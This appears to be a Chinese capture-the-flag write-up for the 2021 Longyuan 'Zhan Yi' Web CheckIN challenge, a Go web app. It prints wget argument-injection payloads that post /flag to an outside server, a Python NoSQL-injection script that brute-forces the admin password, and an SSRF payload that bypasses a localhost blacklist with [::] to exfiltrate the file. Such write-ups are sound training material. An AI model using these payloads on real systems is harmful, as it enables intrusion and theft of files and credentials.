陇原战“疫“2021网络安全大赛 Web CheckIN
checkin文章目录checkinwget外带数据分析官方wpnosql注入ssrf参考链接参考链接:利用命令注入外带数据的一些姿势_一个安全研究员-CSDN博客_smb外带注入题目有附件下载,是个go语言,审计一下 ,文件目录如下注意wget还有wget外带数据根据上面的博客,可以执行命令wegt数据外带出来wget?argv=1&argv=--post-file&argv=/
·
checkin
参考链接: 利用命令注入外带数据的一些姿势_一个安全研究员-CSDN博客_smb外带注入
题目有附件
下载,是个go语言,审计一下 ,文件目录如下
注意wget
还有
wget外带数据
根据上面的博客,可以执行命令wegt数据外带出来
wget?argv=1&argv=--post-file&argv=/flag&argv=http://vps:7777/
然后既可以得到flag
wget?argv=1&argv=--post-data&argv=/flag&argv=http://116.62.240.148:7777/
修改了配置-post-data 但是只是输出字符串罢了,我们传入的是/flag,那么它就返回我们/flag字符串
分析官方wp
官方wp中添加了很多忽略的知识点
nosql注入
首先,源码中存在nosql注入,
所以可以根据这个获取admin的密码,脚本如下:
- 脚本中使用//将该行之后的代码进行注释,并且通过补全代码使得代码完整(有点废话了,肯定要完整,不然会报错的)
- 代码中判断是否成功用的是
Pretend
字符串,根据源码,如果用户名名称和密码判断不正确,就会返回含有Pretend
的字符串
爆破脚本
import requests
url = "http://47.117.125.220:8081/login"#自行修改
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
strings = "1234567890abcdefghijklmnopqrstuvwxyz"
res = ""
#res长度从0开始
for i in range(len(res) + 1, 40):
if len(res) == i - 1:
for c in strings:
data = {
#注意这个substr用的是-号,是反向读取密码的,反向逐个读取密码,然后对比
"username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {return true;}})//",
"password": "123456"
}
r = requests.post(url=url, headers=headers, data=data)
if "Pretend" in r.text:
res = c + res
print("[+] " + res)
break
else:
print("[-] Failed")
break
反向读取密码
,substr实验分析
得到密码,登录,但是啥都没有,记录一下吧
ssrf
官方wp中还提到了/proxy路由存在ssrf
func proxyController(c *gin.Context) {
var url Url
if err := c.ShouldBindJSON(&url); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}
re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")
if re.MatchString(url.Url) {
c.JSON(403, gin.H{"msg": "Url Forbidden"})
return
}
client := &http.Client{Timeout: 2 * time.Second}
resp, err := client.Get(url.Url)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
defer resp.Body.Close()
var buffer [512]byte
result := bytes.NewBuffer(nil)
for {
n, err := resp.Body.Read(buffer[0:])
result.Write(buffer[0:n])
if err != nil && err == io.EOF {
break
} else if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
}
c.JSON(http.StatusOK, gin.H{"data": result.String()})
}
访问的时候可以通过[::]
绕过对127.0.0.1的限制然后访问内网
并且wget路由可以用来发送请求(参数可控!!!!),那么就可以传入恶意的参数来获取服务器上文件并且外带出来,最终的payload(注意post发包改为application/json格式)
POST: /proxy
{"url":"http://[::]:8080/wget?argv=-e+http_proxy=http://47.xxx.xxx.220:2333&argv=--method=POST&argv=--body-file=/flag&argv=http://47.xxx.xxx.220:2333"}
参考链接
更多推荐
已为社区贡献8条内容
所有评论(0)